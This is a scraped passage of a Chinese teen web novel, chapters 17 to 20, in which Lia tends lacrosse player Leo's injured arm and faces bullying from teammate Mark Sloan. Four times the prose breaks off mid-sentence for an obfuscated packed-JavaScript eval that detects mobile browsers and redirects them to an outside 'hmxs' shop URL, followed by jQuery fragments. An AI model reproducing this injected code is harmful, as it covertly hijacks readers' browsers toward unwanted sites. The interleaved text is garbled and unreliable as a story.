莉娅看着被抛起的利奥，他在空中时脸上绽放着发自内心的、如释重负的笑容，但落下被队友接住时，他的左手下意识地缩了一下，没有完全张开去支撑。 莉娅站在原地，微微蹙眉。 胜利的狂欢如同投入水面的巨石，涟漪从球场中心扩散，酒吧人声鼎沸，啤酒泡沫溅得到处都是。街道上绿色成了唯一的色彩，素不相识的人们因共同的喜悦而拥抱、击掌。 奥黛丽彻底化身为欢乐的漩涡中心，她拉着莉娅在人群中穿梭：“我就知道，他是我们的救世主。” 莉娅嘴角带着笑，眼神在攒动的人头中寻找利奥。 一部分思绪还被困在器材箱的阴影里，与马克·斯隆的愤怒对峙。另一部分，则紧紧系在利奥那看似无恙却动作僵硬的左臂上。 利奥被包围了。 镇民们，尤其是那些看着他从男孩长成少年的老家伙们，用力拍打他的后背，把泛着泡沫的啤酒杯塞进他手里。他回应着，汗水在灯光下闪烁。 当奥黛丽兴奋地挥手尖叫引起利奥注意时，他隔着人群望过来，点了点头，他的目光与莉娅相遇，然后离开。 霍奇斯教练挤过来，红光满面，重重一拍利奥的右肩：“好小子，橡林镇为你骄傲。” 他压低声音，“手没事吧？那一下可够狠的。” 利奥点点头：“没事教练，有点麻，休息下就好。” “好样的。”霍奇斯教练的疑虑被胜利的喜悦冲散，转身又投入了另一波庆祝。 喧嚣声浪让莉娅感到耳膜嗡嗡作响：“奥黛丽，我有点头疼，先回去了。” 她找了个借口。 “现在？狂欢才刚开始。”奥黛丽瞪大眼睛，但见莉娅脸色确实有些苍白，便摆了摆手，“好吧好吧，你这身子骨……明天学校见，我得把这场胜利吸进肺里。” 她立刻又扎进了人堆。 她一个人往回走，风有点大，她裹紧身上的外套。没走多远，身后传来拖沓的脚步声。 莉娅回头，看见利奥·米勒独自一人走来。 脱离了人群，他强撑的从容彻底瓦解，背弓得更厉害，右手插在兜里，左手则像一件不属于他的累赘，僵直地垂着。 看到莉娅，他愣了一下，停下脚步：“莉娅？” 声音沙哑。 “恭喜你，利奥。” 莉娅轻声说，目光落在他托着左臂的右手上。 “谢谢。”他试图微笑。 “你的手，”莉娅不再迂回，“让我看看。” 利奥看着她，挣扎了一下，最终败下阵来，低声承认：“……可能不太妙。” 他小心地卷起左边袖子，小臂外侧肿胀隆起，大片深紫色的瘀血在月光下显得格外狰狞。 莉娅倒吸一口凉气：“这必须处理，你不能硬扛着。” “现在去诊所只会扫大家的兴，而且……”利奥看向喧嚣的方向，“下一场比赛很重要，消息传出去……” “所以你就打算让它烂掉，直到比赛那天被对手一撞就废掉？”莉娅打断他，语气罕见地带上了一丝强硬，“跟我来。” 她不等他回答，转身朝着家的方向走去。 利奥犹豫片刻，看着女孩坚定的背影，最终还是跟了上去。 莉娅家的小屋离球场有点远，暖黄色的灯光从窗户透出，推开木门一股淡淡的、混合着烘干衣物、草药和烤面包的温暖气息扑面而来。 手钩的蕾丝桌布铺在旧餐桌上，沙发套是用了多年但洗得发白的印花布，上面还放着几个奥黛丽嘲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790936|190583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑过“老土”但莉娅很喜欢的刺绣靠垫，壁炉架上摆着莉娅收集的彩色玻璃瓶和风干的野花。 一切井然有序，充满了生活细微处的柔和。 “坐那里。”莉娅指指厨房里一把结实的木椅，她快步走进里间，翻找片刻拿着一个白瓷罐子和一卷干净的棉布走出来。 利奥有些拘谨地坐下，他看着莉娅熟练地打开罐子：“这是我妈妈调的，很管用。” 莉娅用木勺挖出一些墨绿色的药膏，示意利奥把手臂放在铺了布的桌子上。 药膏触碰到肿胀皮肤的瞬间，利奥的肌肉瞬间绷紧。 “忍着点，”莉娅的声音低了下来，“必须揉开，瘀血才能散。” 她的手指纤细，开始小心翼翼在他的伤处涂抹、揉按。 利奥低头看着莉娅专注的侧脸，灯光在她睫毛下投下细密的阴影。她抿着唇，眼神认真。房间里很安静，只有远处隐约的欢呼、彼此的呼吸声。 “你不该瞒着教练，”莉娅轻声说，手上动作不停，“下一场比赛的对手不是傻子。他们如果知道你左手有伤，会像狼群一样盯着你这只胳膊咬。到时候就不只是疼痛，可能会造成更严重的伤害。” 利奥沉默着，感受着药膏带来的灼热和女孩指尖的轻柔，“球队需要这场胜利，” 他最终低声说，像在说服自己，也像在解释，“橡林镇需要，我们不能在這個時候示弱。” “但胜利不应该用你的职业生涯去赌。”莉娅抬起头，直视着他的眼睛，那双总是平静的眸子里此刻闪烁着忧虑和坚决，“如果手废了，就什么都没有了。” 莉娅不再多说，重新低下头，更加专注地揉按着瘀血最集中的区域。她的发丝偶尔擦过他的手臂，带来一丝微痒。 时间在寂静和药草的气味中缓缓流淌。 良久，莉娅终于停下手，用干净的棉布小心地将剩余的药膏擦掉，然后熟练地用布条将他的小臂松松地包扎起来，固定住药力。 “好了，这罐药膏你带回去，每天睡前敷一次，用布包好。” 她把东西递给他，“明天放学后如果肿没消，你必须去看医生，否则，”她顿了顿，“我会亲自去告诉霍奇斯教练。” 利奥接过罐子，他抬起头，看着莉娅，“……谢谢。” 他起身离开，莉娅站在门口看着他身影融入夜色。 周一早晨，黄色的校车在街道上颠簸前行。车内充满了青春期特有的喧闹，学生们三五成群高声谈论着周末的胜利，语气中依然洋溢着兴奋。 奥黛丽一上车就挤到莉娅身边的靠窗位置，迫不及待地继续分享她从别处听来的庆祝细节。 利奥左手受伤的消息并未如野火般蔓延，却像在球队最核心的圈子里悄无声息地渗透。 莉娅信守承诺，没有告诉米勒教练，但利奥训练中那些细微的异常是逃不过最亲近队友的眼睛。 第二天下午的训练课，戴维系鞋带时，状似无意地问：“利奥，昨天那一下够呛吧？手没事了？” 18. chapter 18 利奥正用右手有些笨拙地调整着护肘，闻言动作顿了一下，语气轻松：“没事，蹭破点皮，莉娅给的药膏挺管用。” 他甚至象征性地活动了一下左臂。 戴维“哦”了一声，没再追问。 霍奇斯教练布置战术时，重点强调了接下来对木崖队的比赛：“木崖那帮杂种，风格比之前的更脏，小动作多如牛毛，身体对抗往死里招呼，都给我把眼睛擦亮。” 他的目光扫过全场，尤其在利奥身上停留了一瞬，“核心队员，特别是持球手，都机灵点，别他妈傻乎乎往陷阱里钻。保护好自己，就是保护球队。” 利奥垂下眼睑，专注地盯着自己的球鞋。 训练场上，他努力用技术和意识弥补左手的不足，几次漂亮的右手传球和射门赢得了喝彩。 莉娅坐在看台高处，能清晰地看到训练场里的动作。 马克·斯隆归队后像一颗沉默的炸弹，他训练时更加拼命，冲撞起来带着一股毁天灭地的气势，仿佛要将所有被剥夺首发的怨气都发泄在训练场上。 他对利奥的态度更坏了，偶尔的眼神交汇，充满了毫不掩饰的敌意。 一次分组对抗，马克负责防守利奥，在一次卡位中他的肘部重重撞在利奥的左臂上。 “唔。”利奥闷哼一声，脸色瞬间白了半分，踉跄着几乎丢球。 “马克。”助理教练的哨声尖锐响起，“注意动作，那是训练。” 马克啐了一口，面无表情地走开，眼神里却闪过一丝快意。 训练结束，队员们喧闹着相继离去，带着疲惫和各自的心事。利奥照例留到最后，等空旷的球场只剩下他一个人，才慢慢卸下装备。 夕阳将他的影子拉得很长，他解开莉娅包扎的布条，左臂的肿胀似乎消了一些，但瘀血面积扩大，颜色变成了更深的青紫，触目惊心。 他尝试用力握拳，一阵尖锐的刺痛直达神经末梢，让他颓然地松开了手。 莉娅犹豫了一下，还是从看台上走了下来。 利奥听到声音，抬起头看到是她，没有惊讶。 “你的手，”莉娅走到他面前，目光直接落在他伤痕累累的左臂上，“看起来更糟了。” 利奥没有否认，只是沉默地将护具塞进背包。 “我们走吧。”利奥背好背包低声说，径直朝着离开球场的方向走去。 莉娅顿了顿，跟在他身后，保持着几步的距离。 两人一前一后，走在被夕阳染成金红色的安静小路上，与来时校车上的喧闹隔绝开来。 走了一段，穿过一片小树林，四周愈发静谧。 莉娅看着前方少年被夕阳勾勒出的轮廓，终于忍不住开口，问出了那个盘旋在她心头已久的问题：“利奥，”她的声音在寂静中显得很轻，却异常清晰，“你真的……这么喜欢曲棍球吗？” 利奥的脚步没有停，但明显放缓了。 他沉默地走着，就在莉娅以为他不会回答的时候，他低沉沙哑的声音从前方的暮色中传来。 “我没那么喜欢。” 莉娅微微一怔。 他继续说道：“我只是……很擅长。” 两人再次陷入沉默，他们就这样默默地走着，一前一后，直到岔路口。 “药膏我会继续用。”在分道扬镳前，利奥低声说，算是某种承诺。 “好。”莉娅点点头，“……好好休息。” * 午后的学校食堂充斥着餐盘碰撞的嘈杂以及少年人毫无顾忌的喧哗，阳光透过高大的窗户，在布满刻痕的长条餐桌上投下明亮的光斑。 莉娅和奥黛丽坐在靠窗的角落，面前摆着千篇一律的营养午餐。 肉汁寡淡的肉饼、煮过头的豌豆和看起来干巴巴的土豆泥。 “我发誓，这肉饼上周三也出现过，连上面这坨黏糊糊的酱料都一模一样。”奥黛丽用叉子戳着那块可怜的肉，皱着鼻子抱怨，“真不知道我妈交了午餐费是为了让我在这里接受什么味觉忍耐力训练。” 莉娅的心思却没完全在午餐上，她面前摊开日记本，边缘已经有些磨损。她正一边小口吃着东西，一边沉浸在自己的文字世界里，笔尖在纸上沙沙作响，偶尔停下来。 “你到底在写什么那么入神？”奥黛丽凑过去想看，莉娅却下意识地合上了本子：“没什么，随便写写。” 她轻声说，把日记本往自己这边挪了挪。 马克·斯隆带着他那个同样身材粗壮的小跟班，像一座移动的小山一样堵在了过道上。他脸上挂着那种混不吝的、带着恶意的笑容，目光看着莉娅手边的日记本。 “哟，我们的优等生在写什么秘密呢？”马克话音未落，大手已经伸了过来，在莉娅的惊呼声中，一把将日记本抢了过去。 “还给我。”莉娅猛地站起来，伸手去夺，但马克轻松地举高了手臂，她根本够不着。 周围几桌的学生被这里的动静吸引，纷纷看了过来。 “让我看看……”马克嬉皮笑脸地翻开日记本，无视莉娅急切的眼神，目光扫过纸页，故意用夸张的、抑扬顿挫的声调念了出来： “今天天气很好，风里有割草机的味道。柠檬树开花了，香气很淡，要凑得很近才能闻到……” 他念到这里，故意停下来，怪腔怪调地评论，“哇真诗意啊罗斯，继续继续……坐在树下看着……” 他忽然顿住了，眼神变得饶有兴味，声音也拔高了几分，“看着他走过，阳光把他的影子拉得很长……” “马克·斯隆，你把本子还给她。”奥黛丽也站了起来，气得脸颊通红，叉子都快指到马克鼻子上了，“欺负女生，你要不要脸。” 马克的小跟班在一旁发出嗤嗤的笑声。 莉娅的脸颊因为羞愤和焦急彻底烧红了，她再次试图跳起来去抢，：“还给我，你不能这样。” “我不能怎样？”马克居高临下地看着她，晃了晃手里的日记本，正准备继续念下去，一个声音插了进来： “斯隆，把东西还给她。” 是利奥·米勒，他不知道什么时候出现在旁边，手里端着空的餐盘，显然是正准备离开。 他脸上没什么表情，只是看着马克。 食堂里这一小片区域瞬间安静了不少，所有人都看着他们对峙。 马克脸上的肌肉抽搐了一下，看了看利奥，又看了看周围越来越多注视的目光，那份嚣张气焰稍微收敛了一点，但嘴上却不服输：“怎么？我们的明星球员也喜欢看这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790937|190583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种酸掉牙的情书？” 是的，他将莉娅的日记称为情书，尽管只是寻常的白描描写却添油加醋，兴奋得寻找她文字有关利奥的描写，像是发现什么大事。 利奥没有理会他的挑衅，只是重复了一遍，语气更冷了一些：“还给她。” 马克盯着利奥看了几秒，像是在权衡。最终他嗤笑一声，手臂猛地往下一甩，将日记本几乎是扔回了莉娅面前的桌子上，本子滑过桌面，差点掉到地上。 “哼，”马克在经过利奥身边时，用不大但足够让周围几个人听见的声音，怪声怪气地哼了一句，“柠檬树真美丽，莉娅和利奥坐在柠檬树下，是吧？” 他的小跟班发出一阵暧昧的、心领神会的哄笑，而后扬长而去。 莉娅立刻把日记本紧紧抓在手里，她低着头，长长的睫毛垂下来。 奥黛丽还在对着马克的背影气愤地挥拳头：“混蛋，人渣。” 利奥站在原地，沉默了一下，目光落在莉娅紧紧护着的日记本上，又很快移开。 他没有说什么安慰的话，只是对莉娅微微点了点头，然后便端着餐盘转身离开了。 当事人的不在意让周围的窃窃私语和探究的目光渐渐散去。 莉娅慢慢坐回椅子上，奥黛丽在旁边絮絮叨叨地骂着马克。而莉娅却一个字也听不进去，她偷偷抬眼，望向利奥离开的方向。 食堂那场闹剧之后，马克·斯隆和他的小团体像一群找到了新鲜玩具的鬣狗，不遗余力地将日记里的只言片语添油加醋，加工成粗俗不堪的校园绯闻。 第二天，莉娅刚踏进校门，那种异样的氛围便扑面而来。 几个倚在走廊旁的男生看到她便互相推搡着，挤眉弄眼地齐声哼唱起来，调子歪歪扭扭，歌词含糊却意图明显：“柠檬树真漂亮，米勒和罗斯树下坐……” 声音不大，却足以让周围经过的学生侧目，并发出心照不宣的低笑。 莉娅的脚步顿了一下，但她没有停下也没有看向他们，只是将下巴微微抬起继续走向自己的储物柜。 仿佛那些声音只是耳边恼人的蚊蚋。 “闭上你们的臭嘴，脑子里只剩馊水了吗？”奥黛丽像一头被激怒的母狮子，猛地从莉娅身后冲出来，挥舞着书包作势要打过去，“再唱一句试试？看我不把你们的舌头拧下来塞进曲棍球头盔里。” 那几个男生显然有些怵奥黛丽的泼辣，哄笑着散开了。 奥黛丽气呼呼地追上莉娅，挽住她的胳膊，低声道：“别理那些渣滓，他们就是嫉妒，嫉妒利奥，现在连你也嫉妒。” 莉娅轻轻“嗯”了一声，打开储物柜。 课间时分，学校主走廊的宣传栏前围了不少人，发出阵阵窃笑。 莉娅和奥黛丽走近看清上面的内容时，奥黛丽倒吸一口凉气，而莉娅则感觉血液瞬间冲上了头顶，又迅速褪去。 宣传栏原本贴满了为长曲棍球队加油鼓劲的海报和标语“，像什么“碾压木崖队”、“橡林镇必胜”、“米勒，我们的利箭”。 然而在几张绿色海报的缝隙间，被人用粗黑的马克笔涂鸦了几幅拙劣的漫画和文字。画上是两个火柴人坐在一棵歪歪扭扭的树下，旁边写着：“17号和他的柠檬味小女友在此幽会。” 19. chapter 19 周围有人看到莉娅，目光有同情，有好奇，更多的是看热闹不嫌事大的兴奋。 “谁干的？哪个阴沟里的老鼠干的？”奥黛丽暴怒，上前就要撕扯那些涂鸦。 莉娅拉住了她，声音异常平静：“现在撕，只会让更多人看笑话，没事的。” 整个白天，莉娅都像是在一种无形的压力下穿行，她努力维持着表面的平静，照常听课、记笔记、回答老师提问，仿佛一切如常。 下午放学铃声一响，奥黛丽因为值日不得不留下打扫教室，她再三叮嘱莉娅等她一起走。莉娅答应了，但她先去了趟洗手间，然后径直走向了那片狼藉的宣传栏。 放学后的校园迅速空旷下来，走廊里回荡着零星的脚步声。 莉娅从工具间搬来一把略显破旧的木椅，放在宣传栏前。她踩上去，高度刚好能够到。 她先从书包里拿出湿抹布，浸了水后开始一点一点，用力地擦拭那些黑色的笔迹。油性马克笔很难彻底擦除，她需要反复用力，黑色的墨迹晕染开来像丑陋的伤疤。 就在她全神贯注于清理工作时，一阵并不刻意掩饰的脚步声从走廊尽头传来。 莉娅没有回头，但她的背脊僵硬了。她能感觉到那脚步声在离她几米远的地方停了下来，一种混合着汗味和一丝若有若无血腥气的压迫感弥漫在空气里。 她继续擦着，用力抹去“幽会”那两个刺眼的字。 身后的人也没有动，只是沉默地站着，像一块投下阴影的巨石。 良久，莉娅终于开口，声音在空旷的走廊里显得格外清晰，没有回头：“马克，你是来找我麻烦的吗？” 身后传来一声粗重的笑声，然后是马克有些沙哑、带着淤肿般鼻音的声音，他没有回答她的问题，而是指了指自己的脸：“看到没，这是被你那个‘柠檬树下的沉默骑士’揍的。” * 几十分钟前。 马克·斯隆出现在训练场边时，更衣室里的喧闹瞬间低了下去。 他没有看任何人径直走到自己的柜子前，发出巨大的声响，开始换装备。 气氛压抑得让人喘不过气。 利奥·米勒已经在穿戴护具，他动作依旧有些缓慢，尤其是左臂。看到马克进来他的目光在他脸上停留了一瞬，随即又低下头，专注地调整着自己右手的手套，仿佛一切与他无关。 训练开始后这股压抑的火药味迅速弥漫到了场上。 米勒教练显然也注意到了马克的异常和他看向利奥时那毫不掩饰的凶狠眼神，训练哨声吹得格外频繁，吼声也比平时更加严厉。 “注意力集中，斯隆你的位置呢？” “米勒传球，果断点。” 但警告似乎效果有限，在进行分组对抗练习时马克将所有的怒火都倾泻在了代替他首发位置的丹尼身上。他利用身体优势一次次地用不合规的、极具侵略性的动作冲撞丹尼。 不是明目张胆的犯规，却处处透着刁难和羞辱。 “嘿，菜鸟。” 在一次死球间隙，马克用球杆不轻不重地戳了一下丹尼的后背，声音不大足以让附近几个队员听见，“看清楚点，这球场，不是会点花架子就能站稳的。有些位置不是你的，就别瞎惦记。” 丹尼是个沉默寡言、身体相对单薄的孩子，他没有回头，只是握紧了手中的球杆。 “马克，适可而止。”旁边的戴维看不下去了，出声制止。 “怎么？”马克斜睨着戴维，又瞟了一眼不远处的利奥，“我说错了？现在球队是只需要会讨好人的小白脸和碰一下就碎的瓷娃娃了？” 这话的指向性太明显了。 利奥正准备接球的动作顿住了，他缓缓转过身，面罩下的目光投向马克：“斯隆。” 利奥的声音透过面罩，“你的问题，冲我来，别殃及无辜的人。” 马克像是终于等到了这句话，他一把推开试图劝阻他的戴维，大步走到利奥面前，几乎鼻尖碰着鼻尖，唾沫星子都快喷到利奥的面罩上：“冲你来？好啊，我他妈正想问你呢，利奥·米勒，昨天为你的柠檬味小女友出头英雄当得爽吗？现在是不是觉得特有面子？为了个女人都快跟队友动手了。” “跟她没关系。”利奥的声音依旧平静，“你抢别人东西，就该还回去。” “哈，”马克夸张地笑了一声，目光扫过利奥的左臂，“说得真冠冕堂皇，那你他妈隐瞒手伤呢？啊？为了当你的明星拖着条废胳膊硬撑，把球队的命运当你的赌注，这就叫为球队好？” 不少队员目光都齐刷刷地聚焦在利奥的左臂上，利奥的身体明显僵硬了一下。 马克捕捉到了他的反应，更加得意，声音也拔高了，带着彻底的恶意和一种破罐破摔的疯狂：“被我说中了？你以为能瞒多久，木崖的人可不是吃素的。他们要是知道橡林镇的王牌是个一碰就碎的瓷娃娃，你猜他们会怎么招待你？到时候你是要拖着这条废胳膊，眼睁睁看着我们输球，还是像个懦夫一样提前下场？” “你闭嘴。”利奥终于低吼出声，一直压抑的怒火被彻底点燃。 “我偏不闭，”马克猛地伸手，竟然想去抓利奥的左臂，“让我看看你的‘没事’到底有多没事。” 就在他的手即将触碰到利奥的瞬间，利奥一直紧绷的右拳狠狠地砸在了马克的下颌上。 “砰！” 一声结结实实的、令人牙酸的闷响。 马克猝不及防，被打得踉跄着向后倒退了好几步，差点摔倒。他晃了晃脑袋，吐出一口带血的唾沫：“你他妈敢打我？” 他咆哮着，像一头被彻底激怒的公牛，扔掉球杆朝着利奥猛扑过去。 两人瞬间扭打在一起，不再是球杆的对抗，而是最原始、最野蛮的冲撞。拳头落在身体上的闷响、队友们的惊呼和劝架声混杂在一起，训练场一片混乱。 “住手。” “拉开他们！” “妈的，别打了。” 队员们一拥而上七手八脚地去拉架，但暴怒中的马克力大无穷，三四个人才能勉强将他抱住、拉开。而在混乱中马克被多人制止住动作，身体无法大范围移动，却趁机用穿着钉鞋的脚，狠狠地、不管不顾地朝被其他人挡在后面的利奥踹了好几脚，有一脚正中利奥的小腿，另一脚擦着他的腰部过去。 “操，拉偏架是吧。”马克被死死按住，还在拼命挣扎，嘶吼着，“都他妈帮他是吧？看到没，你们都看到没。” 利奥也被戴维和另外两个队员紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790938|190583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧拉住，他脸上挨了马克一拳，面罩早就不知道飞到哪里去了。 “都给我住手。” 霍奇斯教练脸色铁青，大步冲进场内，目光扫过扭打在一起的双方和混乱的场面，训练场瞬间安静下来。 “反了你们了，”教练的声音因为极致的愤怒而颤抖，“大赛当前，木崖的人就在旁边看着我们笑话，你们倒好，自己人先打起来了。像什么样子？街头混混吗。” 他先指向被众人拉着的马克：“斯隆你屡教不改、挑衅队友、散布谣言，现在还敢在训练场上动手，你是想把球队彻底搞散吗？” 然后又看向利奥：“米勒，你一向沉稳。今天怎么回事？动手能解决问题吗？隐瞒伤情的事，我待会儿再跟你算账。” 他环视一圈，声音沉重：“我不管你们私下有什么矛盾，到了这里穿上这身队服，你们就是一个整体。橡林镇的荣誉不是靠内讧和拳头打出来的，是靠团结、是靠信任，是靠把后背交给你的队友。” 他深吸一口气，做出了裁决：“斯隆和米勒，训练结束后操场跑二十圈，然后去器材室把所有的球、护具、训练锥给我清理归位，不做完不准回家。其他人继续训练，谁敢再惹事一起受罚。” 惩罚下达，没有人敢反驳。 马克被放开，他狠狠地抹了一把嘴角的血，捡起自己的球杆头也不回地走向跑道，开始一圈圈地奔跑。 利奥也沉默地跟了上去。 训练在一种极其压抑的气氛中继续进行，队员们心思各异，传球失误频频，霍奇斯教练的吼声不时响起。 * 莉娅手上的动作停了一瞬，然后更用力地擦拭起来。 她依然没有回头：“看来你还没接受教训。” “呵，”马克嗤笑一声，带着怒气，“现在你的小男友不在，说话最好小心点，罗斯。” 莉娅终于停下了动作，她慢慢转过身，站在椅子上没下来，这个高度让她第一次可以平视，甚至略微俯视着马克·斯隆。 他确实看起来很糟糕，左眼下方有一大块青紫的淤痕，嘴角破裂，渗着血丝。校服外套的袖子在肘部撕开了一个口子，沾满了灰尘和草屑，整个人像是刚从泥地里打过滚。 “你的那一群应声虫，现在也不在。”莉娅低下头，看着他的眼睛。 马克被她的话噎了一下，怒火更盛：“你……” “马克，”莉娅打断他，她的声音不高，“如果你那天抢我的日记，有耐心往后多翻几页你一定会看到我关于你知道自己不是首发队员后，在在训练场外发脾气的描写，你会知道我当时是怎么想的。” 马克愣住了，似乎没料到她会突然提起这个。 他梗着脖子，恶声恶气地说：“怎么想的？那不是显而易见的嘲笑我，看我笑话。” “不是。”莉娅清晰地回答，目光直视着他，没有任何闪躲，“我当时写的是，我觉得他很懦弱，很可怜。” 马克的瞳孔猛地收缩，脸上瞬间血色上涌，那是一种被戳中最痛处的暴怒前兆：“你他妈说什么？” “而现在，”莉娅没有理会他的反应，继续说了下去，“我看着你，看着你现在这副张扬跋扈、到处寻衅滋事的样子，我还是这么觉得。” 20. chapter 20 她顿了顿，看着马克因震惊和愤怒而扭曲的脸，一字一句地说：“你无法在球场上用实力赢得支配地位，就把目标转移到你觉得更容易欺负的人身上，比如丹尼，比如我。你的那些跟班对你一呼百应，看着我和丹尼在你的欺负下显得狼狈，你开心了吗？这样的结果，可以弥补你失去首发位置的失落和失败感了吗。” “你他妈闭嘴。”马克猛地爆发出一声狂怒的嘶吼，巨大的拳头狠狠砸在旁边的墙壁上，发出“咚”的一声闷响。他猛地将肩上挎着的长曲棍球头盔扯下来，用尽全身力气，狠狠砸向莉娅脚旁的地面。 “哐当”一声巨响，金属和塑料材质的头盔与水泥地猛烈撞击发出刺耳的声响，在地上弹跳了几下，然后滚落到角落。 就在这时，奥黛丽提着拖把和水桶气喘吁吁地从教室方向冲了过来，显然是听到了这边的动静。 她看到眼前的一幕，立刻将拖把像长矛一样指向马克：“马克·斯隆，你又想对莉娅做什么？你这个只会欺负女生的废物。” 马克胸膛剧烈起伏，双眼赤红，他死死地瞪了莉娅几秒钟，那眼神复杂得惊人。但他最终什么也没说，只是从牙缝里挤出三个字：“这没完。” 然后他猛地转身，连地上的头盔都没捡就大步流星地冲出了走廊。 奥黛丽赶紧跑过来，扶着莉娅从椅子上下来，连声问：“你没事吧，他有没有对你怎么样？这个混蛋、人渣。” 莉娅摇了摇头，弯腰捡起地上那块脏了的抹布，目光落在那只被砸瘪了一角的头盔上，轻声说：“我没事。” 她继续转向宣传栏，拿起抹布，沾了水继续擦拭那些象征着恶意的黑色墨迹。 夕阳将她的影子拉得很长，投射在空旷的走廊上。这场无声的战争，还远未结束。在夕阳彻底沉入远山脊线之后，橡林镇被一种介于白日喧嚣与深夜沉寂之间的静谧所笼罩。 莉娅·罗斯回家后没有开灯，就着窗外残余的天光走到五斗橱前打开了最上层那个她专用的抽屉。里面整齐地放着一些女孩子的小物件，以及一个白色小药箱。 她取出药箱，打开检查了一下。消毒用的碘伏棉签所剩不多但应该够用，有一卷干净的纱布、一小罐家里常备的、缓解肌肉酸痛的药膏，还有几片创可贴。 合上药箱，她几乎没有犹豫，拎起它出了门。 她熟门熟路地绕到了屋后那片宽敞的院子，走向那座孤零零立在角落的老旧仓库。 仓库的红漆木门早已斑驳褪色，巨大的卷帘门通常紧闭，但今晚它向上卷起大约半人高的缝隙，昏黄的光线从里面漏出来。 莉娅在卷帘门前停下脚步，微微弯下腰，探身进去。 仓库里的复杂气味有点呛人，光线来自悬挂在房梁中央的一盏孤零零的、落满灰尘的灯泡，光线昏黄，勉强照亮了堆叠的杂物、生锈的农具，以及停在最中央的那辆旧皮卡。 那辆车是利奥父亲的东西，自从男主人去世后它便很少再驶出这座仓库，车上覆盖着一层细密的灰尘，而此刻驾驶座的车门敞开着。 莉娅放轻脚步，走近些。 她看到了利奥。 他就在那辆旧皮卡的驾驶座上，座椅被尽可能地放倒形成了一个近乎躺卧的姿势。他闭着眼睛，脸上白天训练场斗殴留下的痕迹在昏黄的光线下无所遁形，小腿一片骇人的青紫色，嘴角破裂的地方凝固着深色的血痂。 他的额发被汗水濡湿，几绺黏在额角，甚至连沾满泥土和草屑的队服外套都没脱，只是拉链敞开着露出里面被汗水浸透又干涸、紧紧贴在身上的灰色T恤。 车载收音机开着，调到一个信号不太稳定、偶尔夹杂着滋滋电流声的电台。里面正播放着一首年代久远、旋律缓慢的乡村歌曲，一个嗓音沙哑的男声吟唱着关于田纳西的月光、破旧的皮卡、以及永远喝不完的廉价威士忌。 莉娅没有立刻惊动他。 她静静地站了几秒钟，看着他随着呼吸微微起伏的胸膛，以及即使在睡梦中也无意识微微蹙起的眉头。然后她轻轻地拉开了副驾驶的车门，老旧的门轴发出“吱呀”一声轻响，在寂静的仓库和舒缓的音乐背景下显得格外清晰。 利奥的眼睫颤动了一下，缓缓睁开。 看到站在车旁的莉娅，他没有动，只是偏过头，声音因为久未开口而更加沙哑：“……莉娅？” “嗯。” 莉娅应了一声，动作轻巧地坐上副驾驶位，将那个白色的小药箱放在自己并拢的膝盖上。 皮卡车的内部也充满了年代感，仪表盘上的塑料有些开裂，方向盘磨损得能看见内部的金属。 “听说你跟马克打了一架。”莉娅一边打开药箱取出碘伏棉签，一边陈述道。 利奥扯了扯嘴角，似乎想笑，却牵动了伤口：“嗯。” 他简短地回应，目光落在她手中的棉签上。 “马克下手很重，”莉娅折断棉签一端，让碘伏浸润另一端，然后小心翼翼地凑近他颧骨上的伤口，“他往你小腿上踹，很不讲规矩。” 她的动作轻柔而专注。 “我也不赖，”利奥闭上一只眼睛，任由她处理，声音闷闷的，“结结实实往他脸上招呼了几拳，然后……对不起，把你卷进来。” 莉娅只是继续着手上的工作，用干净的棉球轻轻吸掉多余的碘伏：“没必要说对不起。” 利奥愣了一下，睁开眼看向她。 “你之前说的，”莉娅解释道，目光依旧在他的伤口上，“说把我卷进来之类的，没必要道歉。马克……他并没有对我造成什么实质性的伤害。” 利奥沉默地看着她近在咫尺的侧脸，看着她低垂的、像小刷子一样的长睫毛，看着她鼻尖上因为专注而渗出的一点点细小汗珠。 仓库里老旧的乡村音乐还在继续，唱着关于失去和寻找的调子。 “他以后不会了。”利奥低声说，像是一个承诺。 莉娅没有追问这个承诺如何兑现，她处理好脸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790939|190583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 